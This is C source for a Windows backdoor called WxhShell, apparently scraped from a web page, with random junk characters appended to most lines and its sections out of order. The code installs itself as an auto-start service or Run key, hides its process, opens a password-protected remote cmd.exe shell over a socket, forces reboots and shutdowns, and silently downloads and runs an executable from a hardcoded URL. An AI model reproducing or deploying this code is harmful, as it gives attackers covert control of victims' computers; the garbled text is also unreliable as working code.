  // 关机 /qq*"R  
  case 'd': { |%rRALIY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /xr75|-8  
    if(Boot(SHUTDOWN)) `#r/L@QI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>Dix1b:.  
    else { 5p-vSWr !  
    closesocket(wsh); +# !?+'A  
    ExitThread(0); BLt_(S?Z`  
    } (JE&1 @  
    break; /}%C'  
    } o/vD]Fs  
  // 获取shell P]2 /}\f  
  case 's': { Q84XmXm|  
    CmdShell(wsh); (y\.uPu!  
    closesocket(wsh); P!)F1U]!  
    ExitThread(0); a^X% (@Sg  
    break; Nv=%R  
  } y 1Wb/ d  
  // 退出 \q^ dhY>)  
  case 'x': { Gg:W%&#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _g D9oK  
    CloseIt(wsh); 31M'71s  
    break; ?VTP|Z  
    } V1,~GpNx  
  // 离开 |TJu|zv^  
  case 'q': { nDLiER;U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %x}Unk  
    closesocket(wsh); jH;L7  
    WSACleanup(); 8u"C7} N_  
    exit(1); x #|t#N%  
    break; JuRWR0@`  
        } I8IH\5k  
  } @00&J~D  
  } j.V7`x  
+K2HMf'  
  // 提示信息 63t'|9^5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i\4dd)p-  
} :Fh_Ya0  
  } DIhV;[\  
QYAt)Ik9q  
  return;  3L4v@  
} xyXVWd[  
EU Oa8Z  
// shell模块句柄 YW8Odm  
int CmdShell(SOCKET sock) 8)b*q\ O'  
{ n2["Ln mO  
STARTUPINFO si; Np.<&`p!  
ZeroMemory(&si,sizeof(si)); &s\/Uq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q^QLNKOH"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (8~Hr?1B  
PROCESS_INFORMATION ProcessInfo; 3#F"UG2,_  
char cmdline[]="cmd"; 3XUsw1,[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9IacZ  
  return 0; uw`J5TND  
} 1vq c8lC  
w'mn O'%  
// 自身启动模式 78]( ZYJV  
int StartFromService(void) ' (3|hh)Tl  
{ cz$*6P<9J  
typedef struct <#T #+uO  
{ aLQ]2m  
  DWORD ExitStatus; sE^= ]N  
  DWORD PebBaseAddress; 3YEw7GIO-  
  DWORD AffinityMask; y99|V39'  
  DWORD BasePriority; Xcg+ SOB  
  ULONG UniqueProcessId; Xupwh5G2  
  ULONG InheritedFromUniqueProcessId; %kQ[z d^  
}   PROCESS_BASIC_INFORMATION; Dk g-y9  
CzmB76zy.  
PROCNTQSIP NtQueryInformationProcess; _sCzee&uQ  
mP_c-qD |  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /BM{tH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F/df!I~  
P4s,N|bs`  
  HANDLE             hProcess; %6:"tuA  
  PROCESS_BASIC_INFORMATION pbi; H1vToIP%  
1{h,LR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T{F 'Y%  
  if(NULL == hInst ) return 0; T@r%~z  
QKt{XB6Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cg^1(dBd[9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); irGgo-x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y"w`yl{_  
9 tCF m.m  
  if (!NtQueryInformationProcess) return 0; 5d)\Z0s  
 ` EVy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {iTA=\q2O  
  if(!hProcess) return 0; 5F1P|t#  
zZPXI&,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Lm?3$u$  
( D@ U%  
  CloseHandle(hProcess); Qf}}/k|)k  
TM,Fab &  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g6.Tx]?b$  
if(hProcess==NULL) return 0; ;7mE%1X  
N6!9QIu~i  
HMODULE hMod; PD:lI]:s  
char procName[255]; m=^ihQ  
unsigned long cbNeeded; Q\2~^w1V  
(:7Z-V2(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j[:Iu#VR  
&W>%E!F  
  CloseHandle(hProcess); @dvb%A&Pur  
.;;:t0PB  
if(strstr(procName,"services")) return 1; // 以服务启动 s{0c.M  
XILreATK@  
  return 0; // 注册表启动 M#SGZ~=1r  
} :g)`V4%  
VyOpPIP  
// 主模块 0NyM|  
int StartWxhshell(LPSTR lpCmdLine) IoHYY:[-  
{ Q::_i"?c  
  SOCKET wsl; jg(cpo d  
BOOL val=TRUE; e/<'HM T  
  int port=0; -Dr)+Y  
  struct sockaddr_in door; 2zbV9Bhq  
s-T#-raE  
  if(wscfg.ws_autoins) Install(); W7q!F  
""_%u'7t5I  
port=atoi(lpCmdLine); Z WhV"]w&  
&MP +  
if(port<=0) port=wscfg.ws_port; T^ RYN  
rL6Y4u0e%  
  WSADATA data; M tBoX*"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RJ$x{$r[  
U^9#uK6GM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3TNj*jo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mP -Y9*k  
  door.sin_family = AF_INET; rjwP#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HH7Bg0=(  
  door.sin_port = htons(port); 4inM d![  
$6*6%T5}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x^6b$>1  
closesocket(wsl); Q=F4ZrNqD  
return 1; ^wb$wtL('  
} w72\'  
k\}\>&Zqu  
  if(listen(wsl,2) == INVALID_SOCKET) { n4DKLAl  
closesocket(wsl); ITBa ^P  
return 1; .=/TT|eMS  
} >VB*Xt\C&  
  Wxhshell(wsl); !2]'S=Y  
  WSACleanup(); })5I/   
Ydh+iLjhx  
return 0; DM3 %+ xY  
GvT ~zNd  
} oNIt<T  
IF <<6.tz  
// 以NT服务方式启动 kZ<"hsh,Y'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v|;}}ol  
{ g I@I.=y  
DWORD   status = 0; `fq#W#Pu  
  DWORD   specificError = 0xfffffff; '\/|K  
YG#.L}X@C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'zfj`aqc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *n2le7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~zL DLr=  
  serviceStatus.dwWin32ExitCode     = 0; K]C@seF`  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Zw? tU  
  serviceStatus.dwCheckPoint       = 0; h7o?z!  
  serviceStatus.dwWaitHint       = 0; @ wx  
Q<fDtf}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 05Y4=7,!  
  if (hServiceStatusHandle==0) return; &4jc3_UKV  
!ZzDSQ ;  
status = GetLastError(); K7}]pk,AG  
  if (status!=NO_ERROR) 6w4}4i  
{ [F}_Ime  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [IPXU9& Q  
    serviceStatus.dwCheckPoint       = 0; )]3_o!o  
    serviceStatus.dwWaitHint       = 0; ,p9>/)l  
    serviceStatus.dwWin32ExitCode     = status; R}HNi(%"  
    serviceStatus.dwServiceSpecificExitCode = specificError; dNT<![X\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H.*aVb$  
    return; +VRM:&  
  } +`l)W`zX  
2HF_kYZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y3?)*kz%  
  serviceStatus.dwCheckPoint       = 0; XSe\@t~&g  
  serviceStatus.dwWaitHint       = 0; BFn4H%1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b!c2j   
} I9O%/^5^[w  
T1g3`7C3  
// 处理NT服务事件,比如:启动、停止 lka Wwjv_D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cX4I+Mf  
{ F`RPXY`ux  
switch(fdwControl) %SN"<O!  
{ tqwAS)v=  
case SERVICE_CONTROL_STOP: b+e9Pi*\  
  serviceStatus.dwWin32ExitCode = 0; USJk *  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X@H/"B%u2  
  serviceStatus.dwCheckPoint   = 0; `tEW.s%Y(6  
  serviceStatus.dwWaitHint     = 0; ?[c{pb ,|  
  { (KnU-E]L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tR?WmNH=  
  } *`~]XM@H  
  return; pMLTXqL  
case SERVICE_CONTROL_PAUSE: .1A/hAdU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QpiA~4  
  break; Oe"nNvu/  
case SERVICE_CONTROL_CONTINUE: w>TTu: 7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qcGsx2  
  break; -DL"Yw}  
case SERVICE_CONTROL_INTERROGATE: M992XXd  
  break; )h`8</#m{  
}; MWJ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^yfoE<7  
} ';KWHk8C  
84A:Rd'k3)  
// 标准应用程序主函数 't3&,:Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [K""6D  
{ pI1IDu*_Z  
fHiS'R  
// 获取操作系统版本 v^3s?V D  
OsIsNt=GetOsVer(); YWF Hv@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,C}s8|@k  
i2l/y,UX  
  // 从命令行安装 $tB `dDj  
  if(strpbrk(lpCmdLine,"iI")) Install(); p&k%d, *  
kV@?Oj.&I,  
  // 下载执行文件 rBZ0Fx$/[  
if(wscfg.ws_downexe) { W}'l8z]   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DAf0bh"  
  WinExec(wscfg.ws_filenam,SW_HIDE); jhH&}d9  
} ) m(!lDz3  
Wg\MaZ6Di  
if(!OsIsNt) { BI+x6S>d  
// 如果时win9x,隐藏进程并且设置为注册表启动 P`AW8Y6o  
HideProc(); =2e{T J/  
StartWxhshell(lpCmdLine); ~' w]%rh!  
} fxknfgbg  
else UT_kw}1o  
  if(StartFromService()) ,ut7`_Fy  
  // 以服务方式启动 k c /"  
  StartServiceCtrlDispatcher(DispatchTable); xv~Sk2Z+d  
else =B0AG9Fz  
  // 普通方式启动 U88gJ[$  
  StartWxhshell(lpCmdLine); 3@wio[  
l4*vM  
return 0; _0"s6D$  
} bi[g4,`Z;  
=d#(n M*  
[,sm]/Xlc  
jr/IU=u*v  
=========================================== "P yG;N!W  
 wWQt  
1xjWD30  
z-_$P)[c  
~Z' /b|x<3  
~- eB  
" 5Zn:$?7  
^j7>Ul,  
#include <stdio.h> *JF7 B  
#include <string.h> `Gh J)WA<  
#include <windows.h> pU1miA '  
#include <winsock2.h> ;e6L@)dp9  
#include <winsvc.h> >!bw8lVV  
#include <urlmon.h> 'Lh nl3  
6'Q*SO;1gh  
#pragma comment (lib, "Ws2_32.lib") lQ&J2H<w  
#pragma comment (lib, "urlmon.lib") QXEz  
Y2[ik<  
#define MAX_USER   100 // 最大客户端连接数 c!N#nt_<  
#define BUF_SOCK   200 // sock buffer 7n]ukqZ  
#define KEY_BUFF   255 // 输入 buffer  lofP$  
S/dj])g  
#define REBOOT     0   // 重启 yM('!iG*/  
#define SHUTDOWN   1   // 关机 lJdrrR)wg  
ai"N;1/1O|  
#define DEF_PORT   5000 // 监听端口 8Y [4JXUK  
v^aI+p6  
#define REG_LEN     16   // 注册表键长度 9XmbHS[0V  
#define SVC_LEN     80   // NT服务名长度 pgBIYeY,  
YRQ?:a{H  
// 从dll定义API z}F^HQ 1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2TgS )  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u Au'2M,_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9r> iP L2H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9SXpZ*Sx  
3hcWR'|  
// wxhshell配置信息 SB,#y>Zv?  
struct WSCFG { ce:wF#Qs  
  int ws_port;         // 监听端口 >Se-5QtLcf  
  char ws_passstr[REG_LEN]; // 口令 Kx02 2rgDU  
  int ws_autoins;       // 安装标记, 1=yes 0=no /0b7"Kr  
  char ws_regname[REG_LEN]; // 注册表键名 N ;Cs? C  
  char ws_svcname[REG_LEN]; // 服务名 +/ ?oyC+Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (-xVW#39  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e5(c,,/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .|0$?w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IZuP{7p$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +I+RNXR/{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C!Jy;Z=+u  
\+"Jg/)ij  
}; 5xQ5)B4k  
WO$8j2!~#  
// default Wxhshell configuration F`>qg2wO  
struct WSCFG wscfg={DEF_PORT, x"A\ Z-xxz  
    "xuhuanlingzhe", = u&dU'@q  
    1, f9t+x+ Z  
    "Wxhshell", I#;.; %u  
    "Wxhshell", 3gYtu-1  
            "WxhShell Service", ^UBzX;|p  
    "Wrsky Windows CmdShell Service", ~:*V'/2k  
    "Please Input Your Password: ", #vc!SI  
  1, M zF,is  
  "http://www.wrsky.com/wxhshell.exe", E {UhM q7  
  "Wxhshell.exe" .  LeS-  
    }; 2 ,krVb?<  
?*6Q ;.f<  
// 消息定义模块 lo-VfKvy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5a4i)I6 3o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %~P3t=r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \d3~kq3  
char *msg_ws_ext="\n\rExit."; !Wj`U$];  
char *msg_ws_end="\n\rQuit."; jOZ>^5}  
char *msg_ws_boot="\n\rReboot..."; E85TCS 1  
char *msg_ws_poff="\n\rShutdown..."; AoY!f'Z  
char *msg_ws_down="\n\rSave to "; W6):IW(E  
r{f$n  
char *msg_ws_err="\n\rErr!"; 2OjU3z<J  
char *msg_ws_ok="\n\rOK!"; "]W,,A-  
`Om W#\  
char ExeFile[MAX_PATH]; u Yc}eMb  
int nUser = 0; O&sUPv  
HANDLE handles[MAX_USER]; ^!$=(jh.  
int OsIsNt; n`! 6EaD  
8 mt#S  
SERVICE_STATUS       serviceStatus; *+(eH#_2/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .g94|P  
_#we1m  
// 函数声明 -s\R2_(  
int Install(void); uQKo2B0  
int Uninstall(void); QcX&q%*0  
int DownloadFile(char *sURL, SOCKET wsh); wbI1~/  
int Boot(int flag); AmJdZs|/  
void HideProc(void); J+wnrGoK  
int GetOsVer(void); ` l %,4qR  
int Wxhshell(SOCKET wsl); {REGoe=W%  
void TalkWithClient(void *cs); ,; Uf>8~  
int CmdShell(SOCKET sock);  Hs6Kki1  
int StartFromService(void); A@-U#UvN  
int StartWxhshell(LPSTR lpCmdLine); dj}|EW4  
UzW]kY[A<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =CO'LyG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j%}9tM6[  
&q M8)2Y  
// 数据结构和表定义 (M{>9rk8  
SERVICE_TABLE_ENTRY DispatchTable[] = . BX*C  
{ TaF;P GjVw  
{wscfg.ws_svcname, NTServiceMain},  QB !%  
{NULL, NULL} <U8w#dc  
}; Cxe(iwa.  
1$^r@rP  
// 自我安装 /FjdcH=  
int Install(void) G-,0mo  
{ OLV3.~T  
  char svExeFile[MAX_PATH]; >CwI(vXn  
  HKEY key; Eo6qC?5<  
  strcpy(svExeFile,ExeFile); 7Sh1QDYZ  
tKds|0,j|  
// 如果是win9x系统,修改注册表设为自启动 CWJN{  
if(!OsIsNt) { f{u S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;f=.SJF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GL,[32~C  
  RegCloseKey(key); e [6F }."c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f8G<5_!K_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -9Ygn_M  
  RegCloseKey(key); aj=-^iGG  
  return 0; BkY#wJ'  
    }  Sr_hD5!  
  } F{_,IQ]U  
} 0g; o6Fg  
else { I!Mkss xc  
4N= gl(  
// 如果是NT以上系统,安装为系统服务 &wN}<G e6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r%NzKPW'  
if (schSCManager!=0) |?hsMN  
{ \tY7Ga%c  
  SC_HANDLE schService = CreateService L\!Oj5  
  ( `u_k?)lK  
  schSCManager, O}j@+p%M  
  wscfg.ws_svcname, 87m`K Str7  
  wscfg.ws_svcdisp, Wtp=1  
  SERVICE_ALL_ACCESS, #%L_wJB-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o/[Ks;l  
  SERVICE_AUTO_START, +}Mm5^6*  
  SERVICE_ERROR_NORMAL, O[z6W.  
  svExeFile, <GLoTolZ  
  NULL, BuUM~k&SY  
  NULL, T0.sL9  
  NULL, e E(+  
  NULL, 0QxBC7` qp  
  NULL &}K%F)S  
  ); UMT}2d%  
  if (schService!=0) B\l0kiNT  
  { zMM ~4?4  
  CloseServiceHandle(schService); "KSdC8MS  
  CloseServiceHandle(schSCManager); U??OiKVZ+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `:jF%3ks+0  
  strcat(svExeFile,wscfg.ws_svcname); e)}=T0 s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TtQd#mSI\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xMa9o  
  RegCloseKey(key); ~yV?*"Hi  
  return 0; 1=ZQRJW0B  
    } 1^ go)(Mx  
  } }lCQ+s!  
  CloseServiceHandle(schSCManager); bH:C/P<x  
} hlz/TIP^N3  
} 4/v[ .5  
~QUN O~  
return 1; c%&*yR  
} UIU6rilB  
8@|{n`n]  
// 自我卸载 \< a^5'  
int Uninstall(void) T)Q_dF.N  
{ "L8Hgwg  
  HKEY key; Ekh)l0 l  
G({VK  
if(!OsIsNt) { TI0=nfj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :bL^S1et  
  RegDeleteValue(key,wscfg.ws_regname); x}=Q)|)]  
  RegCloseKey(key); WM4,\$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B}K<L\S  
  RegDeleteValue(key,wscfg.ws_regname); J,s:CBCGL  
  RegCloseKey(key); ,]y_[]636  
  return 0; J aJ/ |N  
  } e AaS }g 0  
} ~-uDN)  
} '(ZT }N  
else { OYb:);o,iE  
|`fuu2W!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c0w1 N]+Ne  
if (schSCManager!=0) ps:E(\  
{ n36iY'<)G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y(E<MRd8V  
  if (schService!=0) Z|)1ftcC  
  { {~G~=sC$  
  if(DeleteService(schService)!=0) { Ll VbY=EX7  
  CloseServiceHandle(schService); {<#b@=G  
  CloseServiceHandle(schSCManager); g_?Q3  
  return 0; )n[=)"rf  
  } DbtkWq%  
  CloseServiceHandle(schService); 6\ .LG4@LO  
  } \'|t>|zhp  
  CloseServiceHandle(schSCManager); n-,mC /4  
} &qIdT;^=I  
} fKtlfQG  
txQr|\4k  
return 1; B(O6qWsL  
} x5rLGt  
4Y4zBD=<  
// 从指定url下载文件 H^vA}F`  
int DownloadFile(char *sURL, SOCKET wsh) 4$U^)\06W  
{ /;!I.|j  
  HRESULT hr; Xn>>hzj-x?  
char seps[]= "/"; pRUQMPn (  
char *token; 6z:/ma^  
char *file; SwaPRAF  
char myURL[MAX_PATH]; !XM*y  
char myFILE[MAX_PATH]; 1s(i\&B  
I7#JT?\}  
strcpy(myURL,sURL); d<WNN1f  
  token=strtok(myURL,seps); o` dQ  
  while(token!=NULL) tCPK_Wws?Z  
  { "5?1S-Vl  
    file=token; 2uV5hSHYe  
  token=strtok(NULL,seps); ]v?jfy  
  } :JZV=@<T  
9E0x\%2K  
GetCurrentDirectory(MAX_PATH,myFILE); FU.?n)P  
strcat(myFILE, "\\"); F[W0gjUc  
strcat(myFILE, file); z+CX$.Z  
  send(wsh,myFILE,strlen(myFILE),0); <:mK&qu f  
send(wsh,"...",3,0); <Of-,PcCV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v!$?;"d+  
  if(hr==S_OK) wM3m'# xJ  
return 0; -lAY*2Jg  
else hTcU %Nc  
return 1; 7r.~L  
t~44ub6GN`  
} EWv[Sp  
|WfL'_?$  
// 系统电源模块 e"*ho[  
int Boot(int flag) dJdOh#8+Xi  
{ yNU}1_oK  
  HANDLE hToken; {z;4t&5  
  TOKEN_PRIVILEGES tkp; " SP6o  
A..`?oGj  
  if(OsIsNt) { !,]c}Y{i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [F(iV[n%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wb h=v;  
    tkp.PrivilegeCount = 1; GaL UZviJ_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9\=SG"e(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cqW(9A|8  
if(flag==REBOOT) { ZPz=\^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (hIo0 .  
  return 0; 9wO2`e )  
} /Nob S'd  
else { fL]jk1.Xv-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]^i^L  
  return 0; |`V=hqe{  
}  !$!%era`  
  } iM6(bmc.  
  else { b*{UO  
if(flag==REBOOT) { $j v"$0Fc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Nob B  
  return 0; 475g-t2"@  
} XD_!5+\H1  
else { T=@Ygjk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /W LZyT2  
  return 0; \=&Z_6Mu  
} Gi2Fjq/Y  
} *Tr{a_{~C  
8F's9c,  
return 1; } j;es(~D  
} mG0_&'"YIG  
m&be55M;  
// win9x进程隐藏模块 3"k n5)x  
void HideProc(void)  3SPXJa\i  
{ 6K=}n] n  
D]|{xKC}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kc}|L9  
  if ( hKernel != NULL ) AR&l9R[{N  
  { zAJC-YC6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~,xso0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @U1t~f^  
    FreeLibrary(hKernel); P97i<pB Y_  
  } gkKNOus  
BW`;QF<  
return; v$5D&Tv  
} { 9\/aXPS  
2t45/:,  
// 获取操作系统版本 ^uVPN1}b^@  
int GetOsVer(void) b.kV>K"X3  
{ E&U_@ bc-  
  OSVERSIONINFO winfo; ZA@zs,o%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o=xMaA  
  GetVersionEx(&winfo); 0<fQjXn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BlcsDB =ka  
  return 1; YIb7y1\UM  
  else 'm-5  
  return 0; c"t&,OU:  
} 9jNh%raG|  
R|wS*xd,  
// 客户端句柄模块 xj3{Ke`6  
int Wxhshell(SOCKET wsl) FT J{  
{ t}OzF cyqN  
  SOCKET wsh; 1F3Q^3+  
  struct sockaddr_in client; 2k&Voa  
  DWORD myID; Pt-O1$C[  
aYWUwYB$  
  while(nUser<MAX_USER) kX:1=+{xg  
{ EVA&By6_k  
  int nSize=sizeof(client); P.1Z@HC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <p2\;\?4z  
  if(wsh==INVALID_SOCKET) return 1; *!3qO^b?  
pZt>rv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hc8!cATQk  
if(handles[nUser]==0) J6rWe  
  closesocket(wsh); %,aSD#l`f  
else x{Dw?6TP  
  nUser++; 'SrDc'?  
  } 4nh0bIN1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HYY+Fv5  
Q|2*V1"r<2  
  return 0; t"e%'dFv  
} U^qS[HM  
:()K2<E  
// 关闭 socket OIjG`~Rx  
void CloseIt(SOCKET wsh) DNyt_5j&:  
{ :2:%  
closesocket(wsh); C#3&,G W  
nUser--; 0V`~z-#  
ExitThread(0); F|o 1r  
} NdX  C8  
IH5^M74b  
// 客户端请求句柄 0~W6IGE~  
void TalkWithClient(void *cs) UDnCHGq  
{ H6`zzH0"  
F"3'~ 6  
  SOCKET wsh=(SOCKET)cs; c+8 Y|GB  
  char pwd[SVC_LEN]; _x,(576~  
  char cmd[KEY_BUFF]; ?Jgqb3+!o  
char chr[1]; C 20VSwd  
int i,j; 8E9k7  
CoWT  
  while (nUser < MAX_USER) { &SPr#OkW  
ilZ5a&X;  
if(wscfg.ws_passstr) { T eu.i   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQLP~Z>,T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X\*H7;k,  
  //ZeroMemory(pwd,KEY_BUFF); "1%k"+&  
      i=0; <DII%7q,6/  
  while(i<SVC_LEN) { PGVP0H+RV  
7vI ROK~  
  // 设置超时 E33x)CP  
  fd_set FdRead; ng6E &<Z  
  struct timeval TimeOut; yC4%z) t&R  
  FD_ZERO(&FdRead); n3 Rf:j^R  
  FD_SET(wsh,&FdRead); K 6,c||#<  
  TimeOut.tv_sec=8; Uv=)y^H~*A  
  TimeOut.tv_usec=0; 8p1:dTI5Pb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d(| 4 +^>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5-S-r9  
`FX?P`\@I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PQz[IZ  
  pwd=chr[0]; O<dCvH  
  if(chr[0]==0xd || chr[0]==0xa) { %>y!N!.F  
  pwd=0; VMNdC}  
  break;  J&+"  
  } O~6AX)|&=  
  i++; qQ,(O5$|  
    } dwiLu&]u  
+8GxX$  
  // 如果是非法用户,关闭 socket f}?p Y"yvO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^1aY,6I:  
} &W&A88FfZU  
sAZL,w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qk@BM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /1=x8Sb  
n^l5M^.  
while(1) { I+jc  
|O"Pb`V+  
  ZeroMemory(cmd,KEY_BUFF); 'gsO}xj  
{e0aH `me  
      // 自动支持客户端 telnet标准   !thFayq  
  j=0; Z0wH%o\  
  while(j<KEY_BUFF) { U2\k7I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H;Gs0Qi;  
  cmd[j]=chr[0];  Lu[Hz8  
  if(chr[0]==0xa || chr[0]==0xd) { v^[!NygShs  
  cmd[j]=0; l SuNZY aO  
  break; oB '5':  
  } th0>u.hJ  
  j++; >km$zfM2-  
    } pNu?DF{ 3  
m+ #G*  
  // 下载文件 aFh'KPhe  
  if(strstr(cmd,"http://")) { G,(Xz"`,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i"E_nN"V  
  if(DownloadFile(cmd,wsh)) e%0IE X  
